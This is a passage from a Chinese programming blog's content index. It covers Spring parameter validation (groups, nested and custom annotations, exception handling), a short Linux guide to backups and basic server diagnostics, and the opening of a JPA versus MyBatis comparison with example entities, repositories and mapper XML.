&#123;CreateGroup.class, UpdateGroup.class&#125;)</span></span><br><span class="line">    <span class="meta">@Email(groups = &#123;CreateGroup.class, UpdateGroup.class&#125;)</span></span><br><span class="line">    <span class="keyword">private</span> String email;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostMapping(&quot;/users&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Long&gt; <span class="title function_">create</span><span class="params">(</span></span><br><span class="line"><span class="params">            <span class="meta">@Validated(CreateGroup.class)</span> <span class="meta">@RequestBody</span> UserRequest request)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Result.success(userService.create(request));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PutMapping(&quot;/users/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">update</span><span class="params">(</span></span><br><span class="line"><span class="params">            <span class="meta">@Validated(UpdateGroup.class)</span> <span class="meta">@RequestBody</span> UserRequest request)</span> &#123;</span><br><span class="line">        userService.update(request);</span><br><span class="line">        <span class="keyword">return</span> Result.success();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="嵌套校验"><a href="#嵌套校验" class="headerlink" title="嵌套校验"></a>嵌套校验</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderCreateRequest</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;订单编号不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String orderNo;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotNull(message = &quot;用户ID不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> Long userId;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Valid</span>  <span class="comment">// 嵌套校验</span></span><br><span class="line">    <span class="meta">@NotEmpty(message = &quot;订单项不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> List&lt;OrderItemRequest&gt; items;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Valid</span></span><br><span class="line">    <span class="meta">@NotNull(message = &quot;地址不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> AddressRequest address;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderItemRequest</span> &#123;</span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;SKU不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String skuId;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Min(value = 1, message = &quot;数量至少为1&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> Integer quantity;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@DecimalMin(value = &quot;0.01&quot;, message = &quot;单价必须大于0&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> BigDecimal price;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AddressRequest</span> &#123;</span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;收件人不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String receiver;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;手机号不能为空&quot;)</span></span><br><span class="line">    <span class="meta">@Pattern(regexp = &quot;^1[3-9]\\d&#123;9&#125;$&quot;, message = &quot;手机号格式不正确&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String phone;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@NotBlank(message = &quot;地址不能为空&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String detail;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="自定义校验注解"><a href="#自定义校验注解" class="headerlink" title="自定义校验注解"></a>自定义校验注解</h2><h3 id="手机号校验"><a href="#手机号校验" class="headerlink" title="手机号校验"></a>手机号校验</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Target(&#123;ElementType.FIELD, ElementType.PARAMETER&#125;)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="meta">@Constraint(validatedBy = PhoneValidator.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> Phone &#123;</span><br><span class="line">    String <span class="title function_">message</span><span class="params">()</span> <span class="keyword">default</span> <span class="string">&quot;手机号格式不正确&quot;</span>;</span><br><span class="line">    Class&lt;?&gt;[] groups() <span class="keyword">default</span> &#123;&#125;;</span><br><span class="line">    Class&lt;? <span class="keyword">extends</span> <span class="title class_">Payload</span>&gt;[] payload() <span class="keyword">default</span> &#123;&#125;;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PhoneValidator</span> <span class="keyword">implements</span> <span class="title class_">ConstraintValidator</span>&lt;Phone, String&gt; &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Pattern</span> <span class="variable">PHONE_PATTERN</span> <span class="operator">=</span> Pattern.compile(<span class="string">&quot;^1[3-9]\\d&#123;9&#125;$&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isValid</span><span class="params">(String value, ConstraintValidatorContext context)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (value == <span class="literal">null</span> || value.isEmpty()) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;  <span class="comment">// @NotNull/@NotBlank 处理空值</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> PHONE_PATTERN.matcher(value).matches();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="枚举值校验"><a href="#枚举值校验" class="headerlink" title="枚举值校验"></a>枚举值校验</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Target(&#123;ElementType.FIELD&#125;)</span></span><br><span class="line"><span class="meta">@Retention(RetentionPolicy.RUNTIME)</span></span><br><span class="line"><span class="meta">@Constraint(validatedBy = EnumValueValidator.class)</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@interface</span> EnumValue &#123;</span><br><span class="line">    String <span class="title function_">message</span><span class="params">()</span> <span class="keyword">default</span> <span class="string">&quot;枚举值不正确&quot;</span>;</span><br><span class="line">    Class&lt;?&gt;[] groups() <span class="keyword">default</span> &#123;&#125;;</span><br><span class="line">    Class&lt;? <span class="keyword">extends</span> <span class="title class_">Payload</span>&gt;[] payload() <span class="keyword">default</span> &#123;&#125;;</span><br><span class="line">    Class&lt;? <span class="keyword">extends</span> <span class="title class_">Enum</span>&lt;?&gt;&gt; enumClass();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">EnumValueValidator</span> <span class="keyword">implements</span> <span class="title class_">ConstraintValidator</span>&lt;EnumValue, String&gt; &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> Set&lt;String&gt; values;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">initialize</span><span class="params">(EnumValue annotation)</span> &#123;</span><br><span class="line">        values = Arrays.stream(annotation.enumClass().getEnumConstants())</span><br><span class="line">            .map(Enum::name)</span><br><span class="line">            .collect(Collectors.toSet());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isValid</span><span class="params">(String value, ConstraintValidatorContext context)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (value == <span class="literal">null</span>) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">return</span> values.contains(value);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="使用自定义注解"><a href="#使用自定义注解" class="headerlink" title="使用自定义注解"></a>使用自定义注解</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserRequest</span> &#123;</span><br><span class="line">    <span class="meta">@Phone</span></span><br><span class="line">    <span class="keyword">private</span> String phone;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@EnumValue(enumClass = UserStatus.class, message = &quot;用户状态不正确&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String status;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">UserStatus</span> &#123;</span><br><span class="line">    ACTIVE, INACTIVE, DELETED</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="手动触发校验"><a href="#手动触发校验" class="headerlink" title="手动触发校验"></a>手动触发校验</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> Validator validator;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">createUser</span><span class="params">(UserCreateRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// 手动校验</span></span><br><span class="line">        Set&lt;ConstraintViolation&lt;UserCreateRequest&gt;&gt; violations = </span><br><span class="line">            validator.validate(request);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (!violations.isEmpty()) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> violations.stream()</span><br><span class="line">                .map(ConstraintViolation::getMessage)</span><br><span class="line">                .collect(Collectors.joining(<span class="string">&quot;, &quot;</span>));</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ValidationException</span>(message);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 业务逻辑</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 校验单个属性</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">validateUsername</span><span class="params">(String username)</span> &#123;</span><br><span class="line">        Set&lt;ConstraintViolation&lt;UserCreateRequest&gt;&gt; violations = </span><br><span class="line">            validator.validateValue(UserCreateRequest.class, <span class="string">&quot;username&quot;</span>, username);</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 分组校验</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">updateUser</span><span class="params">(UserRequest request)</span> &#123;</span><br><span class="line">        Set&lt;ConstraintViolation&lt;UserRequest&gt;&gt; violations = </span><br><span class="line">            validator.validate(request, UpdateGroup.class);</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="全局异常处理"><a href="#全局异常处理" class="headerlink" title="全局异常处理"></a>全局异常处理</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestControllerAdvice</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ValidationExceptionHandler</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ExceptionHandler(MethodArgumentNotValidException.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleMethodArgumentNotValid</span><span class="params">(MethodArgumentNotValidException e)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> e.getBindingResult().getFieldErrors().stream()</span><br><span class="line">            .map(error -&gt; error.getField() + error.getDefaultMessage())</span><br><span class="line">            .collect(Collectors.joining(<span class="string">&quot;, &quot;</span>));</span><br><span class="line">        <span class="keyword">return</span> Result.fail(<span class="number">400</span>, message);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ExceptionHandler(ConstraintViolationException.class)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Void&gt; <span class="title function_">handleConstraintViolation</span><span class="params">(ConstraintViolationException e)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> e.getConstraintViolations().stream()</span><br><span class="line">            .map(ConstraintViolation::getMessage)</span><br><span class="line">            .collect(Collectors.joining(<span class="string">&quot;, &quot;</span>));</span><br><span class="line">        <span class="keyword">return</span> Result.fail(<span class="number">400</span>, message);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Spring Validation 提供了优雅的参数校验方案：</p><ol><li><strong>注解驱动</strong>：声明式校验，无侵入</li><li><strong>分组校验</strong>：不同场景使用不同规则</li><li><strong>嵌套校验</strong>：支持复杂对象结构</li><li><strong>自定义扩展</strong>：满足业务特定规则</li><li><strong>手动触发</strong>：灵活控制校验时机</li></ol><p>合理使用参数校验，可以在入口层就拦截非法数据，减少后续业务逻辑的防御性代码。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 文件权限和用户组理解</title>
      <link href="//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/"/>
      <url>//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-文件权限和用户组理解"><a href="#Linux-文件权限和用户组理解" class="headerlink" title="Linux 文件权限和用户组理解"></a>Linux 文件权限和用户组理解</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringData JPA与MyBatis对比</title>
      <link href="//springdata-jpa-yu-mybatis-dui-bi/"/>
      <url>//springdata-jpa-yu-mybatis-dui-bi/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringData-JPA与MyBatis对比"><a href="#SpringData-JPA与MyBatis对比" class="headerlink" title="SpringData JPA与MyBatis对比"></a>SpringData JPA与MyBatis对比</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="设计理念对比"><a href="#设计理念对比" class="headerlink" title="设计理念对比"></a>设计理念对比</h2><table><thead><tr><th>特性</th><th>JPA</th><th>MyBatis</th></tr></thead><tbody><tr><td>设计思想</td><td>ORM（对象关系映射）</td><td>SQL Mapping（SQL映射）</td></tr><tr><td>SQL 控制</td><td>自动生成</td><td>手动编写</td></tr><tr><td>学习曲线</td><td>较陡</td><td>平缓</td></tr><tr><td>灵活性</td><td>较低</td><td>高</td></tr><tr><td>性能调优</td><td>较难</td><td>容易</td></tr><tr><td>复杂查询</td><td>较麻烦</td><td>方便</td></tr><tr><td>数据库迁移</td><td>容易</td><td>较麻烦</td></tr><tr><td>缓存</td><td>内置二级缓存</td><td>需手动配置</td></tr></tbody></table><h2 id="JPA-示例"><a href="#JPA-示例" class="headerlink" title="JPA 示例"></a>JPA 示例</h2><p>#</p><h2 id="实体定义"><a href="#实体定义" class="headerlink" title="实体定义"></a>实体定义</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Entity</span></span><br><span class="line"><span class="meta">@Table(name = &quot;t_user&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="meta">@Id</span></span><br><span class="line">    <span class="meta">@GeneratedValue(strategy = GenerationType.IDENTITY)</span></span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Column(name = &quot;user_name&quot;, nullable = false, length = 50)</span></span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Column(name = &quot;email&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String email;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ManyToOne(fetch = FetchType.LAZY)</span></span><br><span class="line">    <span class="meta">@JoinColumn(name = &quot;dept_id&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> Department department;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@OneToMany(mappedBy = &quot;user&quot;, cascade = CascadeType.ALL)</span></span><br><span class="line">    <span class="keyword">private</span> List&lt;Order&gt; orders;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="Repository"><a href="#Repository" class="headerlink" title="Repository"></a>Repository</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserRepository</span> <span class="keyword">extends</span> <span class="title class_">JpaRepository</span>&lt;User, Long&gt; &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 方法名解析查询</span></span><br><span class="line">    List&lt;User&gt; <span class="title function_">findByUsernameContainingAndStatus</span><span class="params">(String username, Integer status)</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// JPQL</span></span><br><span class="line">    <span class="meta">@Query(&quot;SELECT u FROM User u WHERE u.department.name = :deptName&quot;)</span></span><br><span class="line">    List&lt;User&gt; <span class="title function_">findByDepartmentName</span><span class="params">(<span class="meta">@Param(&quot;deptName&quot;)</span> String deptName)</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 原生 SQL</span></span><br><span class="line">    <span class="meta">@Query(value = &quot;SELECT * FROM t_user WHERE create_time &gt; ?1&quot;, nativeQuery = true)</span></span><br><span class="line">    List&lt;User&gt; <span class="title function_">findRecentUsers</span><span class="params">(LocalDateTime date)</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 分页</span></span><br><span class="line">    Page&lt;User&gt; <span class="title function_">findByStatus</span><span class="params">(Integer status, Pageable pageable)</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 更新</span></span><br><span class="line">    <span class="meta">@Modifying</span></span><br><span class="line">    <span class="meta">@Query(&quot;UPDATE User u SET u.status = ?1 WHERE u.id = ?2&quot;)</span></span><br><span class="line">    <span class="type">int</span> <span class="title function_">updateStatus</span><span class="params">(Integer status, Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserRepository userRepository;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userRepository.findById(id).orElse(<span class="literal">null</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Page&lt;User&gt; <span class="title function_">listUsers</span><span class="params">(<span class="type">int</span> page, <span class="type">int</span> size)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userRepository.findByStatus(<span class="number">1</span>, PageRequest.of(page, size));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="MyBatis-示例"><a href="#MyBatis-示例" class="headerlink" title="MyBatis 示例"></a>MyBatis 示例</h2><p>#</p><h2 id="Mapper-XML"><a href="#Mapper-XML" class="headerlink" title="Mapper XML"></a>Mapper XML</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="comment">&lt;!-- UserMapper.xml --&gt;</span></span><br><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">mapper</span> <span class="keyword">PUBLIC</span> <span class="string">&quot;-//mybatis.org//DTD Mapper 3.0//EN&quot;</span> </span></span><br><span class="line"><span class="meta">    <span class="string">&quot;http://mybatis.org/dtd/mybatis-3-mapper.dtd&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;<span class="name">mapper</span> <span class="attr">namespace</span>=<span class="string">&quot;com.example.mapper.UserMapper&quot;</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="tag">&lt;<span class="name">resultMap</span> <span class="attr">id</span>=<span class="string">&quot;userResultMap&quot;</span> <span class="attr">type</span>=<span class="string">&quot;com.example.entity.User&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">id</span> <span class="attr">property</span>=<span class="string">&quot;id&quot;</span> <span class="attr">column</span>=<span class="string">&quot;id&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;username&quot;</span> <span class="attr">column</span>=<span class="string">&quot;user_name&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;email&quot;</span> <span class="attr">column</span>=<span class="string">&quot;email&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">association</span> <span class="attr">property</span>=<span class="string">&quot;department&quot;</span> <span class="attr">javaType</span>=<span class="string">&quot;Department&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">id</span> <span class="attr">property</span>=<span class="string">&quot;id&quot;</span> <span class="attr">column</span>=<span class="string">&quot;dept_id&quot;</span>/&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">result</span> <span class="attr">property</span>=<span class="string">&quot;name&quot;</span> <span class="attr">column</span>=<span class="string">&quot;dept_name&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">association</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">resultMap</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultMap</span>=<span class="string">&quot;userResultMap&quot;</span>&gt;</span></span><br><span class="line">        SELECT u.*, d.name as dept_name</span><br><span class="line">        FROM t_user u</span><br><span class="line">        LEFT JOIN t_department d ON u.dept_id = d.id</span><br><span class="line">        WHERE u.id = #&#123;id&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectByCondition&quot;</span> <span class="attr">resultMap</span>=<span class="string">&quot;userResultMap&quot;</span>&gt;</span></span><br><span class="line">        SELECT u.*, d.name as dept_name</span><br><span class="line">        FROM t_user u</span><br><span class="line">        LEFT JOIN t_department d ON u.dept_id = d.id</span><br><span class="line">        <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null&quot;</span>&gt;</span></span><br><span class="line">                AND u.user_name LIKE CONCAT(&#x27;%&#x27;, #&#123;username&#125;, &#x27;%&#x27;)</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;status != null&quot;</span>&gt;</span></span><br><span class="line">                AND u.status = #&#123;status&#125;</span><br><span class="line">            <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line">        ORDER BY u.create_time DESC</span><br><span class="line">    <span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="tag">&lt;<span class="name">insert</span> <span class="attr">id</span>=<span class="string">&quot;insert&quot;</span> <span class="attr">useGeneratedKeys</span>=<span class="string">&quot;true&quot;</span> <span class="attr">keyProperty</span>=<span class="string">&quot;id&quot;</span>&gt;</span></span><br><span class="line">        INSERT INTO t_user (user_name, email, status)</span><br><span class="line">        VALUES (#&#123;username&#125;, #&#123;email&#125;, #&#123;status&#125;)</span><br><span class="line">    <span class="tag">&lt;/<span class="name">insert</span>&gt;</span></span><br><span class="line">    </span><br><span class="line">    <span class="tag">&lt;<span class="name">update</span> <span class="attr">id</span>=<span class="string">&quot;update&quot;</span>&gt;</span></span><br><span class="line">        UPDATE t_user</span><br><span class="line">        <span class="tag">&lt;<span class="name">set</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null&quot;</span>&gt;</span>user_name = #&#123;username&#125;,<span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;email != null&quot;</span>&gt;</span>email = #&#123;email&#125;,<span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">set</span>&gt;</span></span><br><span class="line">        WHERE id = #&#123;id&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">update</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">mapper</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="Mapper-接口"><a href="#Mapper-接口" class="headerlink" title="Mapper 接口"></a>Mapper 接口</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Mapper</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(Long id)</span>;</span><br><span class="line">    List&lt;User&gt; <span class="title function_">selectByCondition</span><span class="params">(<span class="meta">@Param(&quot;username&quot;)</span> String username, </span></span><br><span class="line"><span class="params">                                  <span class="meta">@Param(&quot;status&quot;)</span> Integer status)</span>;</span><br><span class="line">    <span class="type">int</span> <span class="title function_">insert</span><span class="params">(User user)</span>;</span><br><span class="line">    <span class="type">int</span> <span class="title function_">update</span><span class="params">(User user)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="使用-1"><a href="#使用-1" class="headerlink" title="使用"></a>使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserMapper userMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUser</span><span class="params">(Long id)</span> 